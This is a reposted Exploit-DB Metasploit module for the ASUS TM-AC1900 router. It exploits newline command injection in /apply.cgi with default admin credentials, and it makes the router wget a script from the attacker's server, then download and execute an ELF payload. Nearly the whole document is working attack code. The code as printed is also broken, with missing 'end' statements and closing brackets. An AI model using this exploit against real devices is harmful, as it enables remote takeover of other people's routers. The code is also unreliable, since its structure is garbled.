ASUS TM-AC1900 – Arbitrary Command Execution (Metasploit)

Exploit Database
134 阅读

作者： b1ack0wl

日期： 2020-11-13
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/49036/

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# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'ASUS TM-AC1900 - Arbitrary Command Execution',

'Description'=> %q{

This module exploits a code execution vulnerability within the ASUS

TM-AC1900 router as an authenicated user. The vulnerability is due to

a failure filter out percent encoded newline characters (%0a) within

the HTTP argument 'SystemCmd' when invoking "/apply.cgi" which bypasses

the patch for CVE-2018-9285.

'Author' =>

[

'b1ack0wl' # vuln discovery + exploit developer

'License'=> MSF_LICENSE,

'Platform' => 'linux',

'Arch' => ARCH_ARMLE,

'References' =>

[

# CVE which shows that this functionality has been patched before ;)

['URL', 'https://www.cvedetails.com/cve/CVE-2018-9285/'],

['URL', 'https://github.com/b1ack0wl/OffensiveCon20/tree/master/TM-AC1900']

'Privileged' => true,

'Targets'=>

[

# this may work on other asus routers as well, but I've only tested this on the TM-AC1900.

[ 'ASUS TM-AC1900 <= v3.0.0.4.376_3199',

{}

]

'DisclosureDate' => 'April 18, 2020',

'DefaultTarget' => 0))

register_options(

[

OptString.new('USERNAME', [true, 'Username for the web portal.', 'admin']),

OptString.new('PASSWORD', [true, 'Password for the web portal.', 'admin'])

])

end

def check_login

begin

res = send_request_cgi({

'method'=> 'GET',

'uri' => "/Main_Analysis_Content.asp",

'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])

})

if res and res.code == 200

# all good :)

return res

else

fail_with(Failure::NoAccess, 'Invalid password.')

end

rescue ::Rex::ConnectionError

fail_with(Failure::Unreachable, 'Connection failed.')

end

def on_request_uri(cli, request)

if request.uri == '/'

# injected command has been executed

print_good("Sending bash script...")

@filename = rand_text_alpha(16)

bash_script = %Q|

#!/bin/sh

wget #{@lhost_srvport}/#{rand_text_alpha(16)} -O /tmp/#{@filename}

chmod +x /tmp/#{@filename}

/tmp/#{@filename} &

send_response(cli, bash_script)

else

# bash script has been executed. serve up the ELF file

exe_payload = generate_payload_exe()

print_good("Sending ELF file...")

send_response(cli, exe_payload)

# clean up

register_file_for_cleanup("/tmp/index.html")

register_file_for_cleanup("/tmp/#{@filename}")

end

def exploit

# make sure the supplied password is correct

check_login

if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")

srv_host = datastore['LHOST']

else

srv_host = datastore['SRVHOST']

end

print_status("Exploiting #{target.name}...")

@lhost_srvport = "#{srv_host}:#{datastore['SRVPORT']}"

start_service({'Uri' => {'Proc' => Proc.new {

|cli, req| on_request_uri(cli, req)

'Path' => '/'

}})

begin

# store the cmd to be executed

cmd ="ping+-c+1+127.0.0.1;cd+..;cd+..;cd+tmp;rm+index.html;"

cmd << "wget+#{@lhost_srvport};chmod+777+index.html;sh+index.html"

res = send_request_cgi({

'method'=> 'GET',

'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),

# spaces need to be '+' and not %20, so cheap hack.exe it is.

# required HTTP args: SystemCmd, action_mode, and current_page

'uri' => "/apply.cgi?SystemCmd=#{cmd.gsub(';',"%0a")}&action_mode=+Refresh+&current_page=Main_Analysis_Content.asp"

})

# now trigger it via check_login

res = check_login

if res and res.code == 200

print_status("Waiting up to 10 seconds for the payload to execute...")

select(nil, nil, nil, 10)

end

rescue ::Rex::ConnectionError

fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")

end